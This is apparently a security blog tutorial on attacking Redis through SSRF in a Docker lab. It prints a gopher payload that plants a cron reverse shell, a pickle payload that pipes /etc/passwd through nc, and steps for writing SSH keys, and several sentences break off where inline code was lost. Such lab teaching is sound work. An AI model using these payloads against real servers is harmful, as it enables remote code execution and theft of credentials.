Redis is an in-memory data structure store that is used to store data in the form of key-values and can be used as a database, serialized/session storage, cache, and job queue.
For example in Framework Django and Flask, Redis can be used as the session instance or in Gitlab using Redis as the Job queue.
Redis uses a
Redis Support 2 types of command :
1. Non—RESP (REdis Serialization Protocol) format by using Space as a separator.
2. RESP format, this format is more recommended (because it is standard for Redis Request/Response ), besides that using this format will avoid syntax errors if there are special characters such as quotation marks ( “ ) in Redis request.
Redis stores data in memory, so when the server is restarted the data will be lost because RAM is volatile storage, to avoid this problem Redis has a Persistence feature, which will save data to the hard disk.
Redis provides two types of persistence :
- RDB (Redis Database Backup) which will save data to the hard disk every time the “
” command is executed, andSAVE
- AOF (Append Only File) will save data to the hard disk every time it performs an operation (basically its function just like Bash Shell which saved command history to
every time the command is executed successfully)..bash_history
Redis configuration parameters for persistence
AOF is not a good option to do file writing (In the context of SSRF in this blog post), because Redis does not allow AOF filename changes (by default: appendonly.aof) using the
The last exploit to impact Redis was the Redis EVAL Lua Sandbox Escape — CVE-2015–4335 discovered by Ben Murphy. However, this issue has been fixed from Redis version 2.8.21 and 3.0.2.
At the time of writing this blog post, there is no Exploit to directly get RCE on Redis instances, but attackers can take advantage of the “persistence” feature or maybe take advantage of Unsafe Serialization from the related application so that it can be used as a technique to get RCE. Also, there is “Redis post-exploitation” discovered Pavel Toporkov to get RCE on Redis Instance.
Redis Vs HTTP
Redis and HTTP are both Text-Based Protocols, so HTTP can be used to access Redis, but because it has the potential to cause security issues, since the release of Redis 3.2.7 which makes HTTP Header
If you want to force HTTP to communicate with Redis ≥ 3.2.7, you need SSRF (GET Method) + CRLF Injection in the GET parameter section. In order to avoid the POST, and CRLF Injection keywords, the HOST Header will be in a position after the Redis command.
Trivia: Alias POST to QUIT was created based on a suggestion from a member of the news.ycombinator.com forum, geocar.
$ git clone https://github.com/rhamaa/Web-Hacking-Lab.git$ cd SSRF_REDIS_LAB$ docker-compose build && docker-compose up
Every Payload generated by payload_redis.py in this blog post, will be input as a URL in the SSRF Lab Web, so there is no need for screenshots of the attack process to the Lab. This information is given so that there is no confusion about how to attack.
By default, Redis runs with the low privilege of being the user ‘redis’. In the Lab, we used root privileges to be able to write crontab and authorized_key ssh, because the user ‘redis’ does not have permission to write to both files.
Redis And SSRF
Redis — Cron
Cron is a task scheduler on Linux, cron will execute the command that is set using the
Cron stores crontab files in
The lab will use 2 different OS because there is a slight difference in behavior between cron on Centos and Ubuntu.
$ python payload_redis.py cron Reverse IP > Port > Centos/Ubuntu (Default Centos) gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A %2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2477%0D%0A%0A %0A%2A/1%20%2A%20%2A%20%2A%20%2A%20/bin/bash%20-c%20%27sh%20-i%20%3E %26%20/dev/tcp/b%27XXX.XXX.XXX.XXX%27/8080%200%3E%261%27%0A%0A%0D%0A% 2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A %2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243 %0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D %0A%244%0D%0Asave%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A
Redis will write the file with 0644 permission, while the crontab file on ubuntu is expected to have 0600 permission so it will give a warning in the system log.
In addition, there are dummy data in the Redis RDB file which causes cron to ignore the crontab file because there is invalid syntax, so even if the crontab file has 0600 permissions it will not be executed.
Writing crontab files with Redis through SSRF will not work properly in Ubuntu , because crontab files in Ubuntu are expected to have 0600 permission to be executable and clean of dummy data that cause syntax errors.
On Centos even though the crontab file has permissions 0644 and there is dummy data, cron will still be executed so that it can get a reverse shell.
Redis — SSH Public Key
Authorized_keys is used to store a list of SSH public keys so that users log in using the SSH private-public key pair instead of a password. Authorized_keys are located in
$ python payload_redis.py ssh
After payload executed, try ssh root@server_hostname
Both Ubuntu and Centos Lab ssh can be accessed even though dummy data is present.
Redis As Session Storage
Backend servers often time use Redis as Session Storage, in the Redis web lab session storage will focus on exploiting Unsafe Serialialization, because Sessions are usually in the form of objects, and so that these objects can be stored to Redis, Session objects must be converted into strings. The process of converting objects into strings is called “Serialization” and the process of converting strings into objects is called “Deserialization”.
The lab implements Redis as Session Storage using sample snippets from Server-side Sessions with Redis and Pickle is used as Serializer, pickle is known to be insecure and can be exploited to get RCE.
The attack flow is quite simple, we only need to change the session value with the Payload Pickle through SSRF. According to the logic in the source code, the session will be serialized and base64 encoded.
To be able to change the session value stored in Redis, you need a Key name, in this lab, the session will be stored with the name
We can see the Session-Id using the default web browser features called developer tools
Trivia: Flask Internal
When the request is about to end or when the views return, Flask will internally call the
Why is this information important? because when we try to change the value of the flask session in Redis through SSRF, the value we managed to change through SSRF earlier will be overwritten back with the original value.
There are at least 3 scenarios that can be done to archive RCE at the Pickle-Redis Lab :
- When the SSRF payload is executed, we simultaneously access other endpoints, eg
(this method can use multithreading/multiprocessing) because when accessing other endpoints, Flask will call the/loginmethod of theopen_sessionclass, then retrieve the session value (so avoidsession_interface).save_session
- Change the value of the Session-Id, then write the Payload Pickle to the Modified Session-Id, for example the Session Id is AAAA-AAAA-AAAA-AAAA, we can change it to AAAA-AAAA-AAAA-AAAB for example, then set AAAA-AAAA- AAAA-AAAB as Key, later just use AAAA-AAAA-AAAA-AAAB on the client side so that Flask reads the value of the Session Id.
- Using the Master-Slave Redis feature (trigger through SSRF with the
command), then change the value directly through the Master, because any changes that occur in the Master will be automatically synced to the Slave.SLAVEOF
In this blog post, we will choose scenario 2,
$ python2 payload_redis.py pickle Key name > session:8ac1cb48-5064-4067-9e43-ed0df6856425 http://127.0.0.1:6379/_%0D%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%2444%0D%0Asession%3A8ac1 cb48-5064-4067-9e43-ed0df6856425%0D%0A%2492%0D%0AY3Bvc2l4CnN5c3RlbQpwMAooUydjYXQgL2V0Y y9wYXNzd2QgfCBuYyAxMjcuMC4wLjEgOTA5MScKcDEKdHAyClJwMwou%0D%0A
Note : Original Session-Id session:8ac1cb48–5064–4067–9e43-ed0df6856426 changed to session:8ac1cb48–5064–4067–9e43-ed0df6856425
Redis Master-Slave RCE
This post-exploit technique is introduced by Pavel Toporkov.
Info: I will write a separate blog post to explain more about this post-exploit technique.
Redis As Job Queue
An example of using Redis as a Job Queue to get RCE can refer to LiveOverFlow Video.https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FLrLJuyAdoAg%3Ffeature%3Doembed&display_name=YouTube&url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DLrLJuyAdoAg&image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FLrLJuyAdoAg%2Fhqdefault.jpg&key=a19fcc184b9711e1b4764040d3dc5c07&type=text%2Fhtml&schema=youtubeGitLab 11.4.7 Remote Code Execution — Real World CTF 2018
Trivia : Redis Protected Mode
If Redis is not in Protected Mode, the Redis instance will be exposed on the outside network/internet, which is even worse if the Redis instance does not use authentication, causing people to arbitrarily access the Redis instance.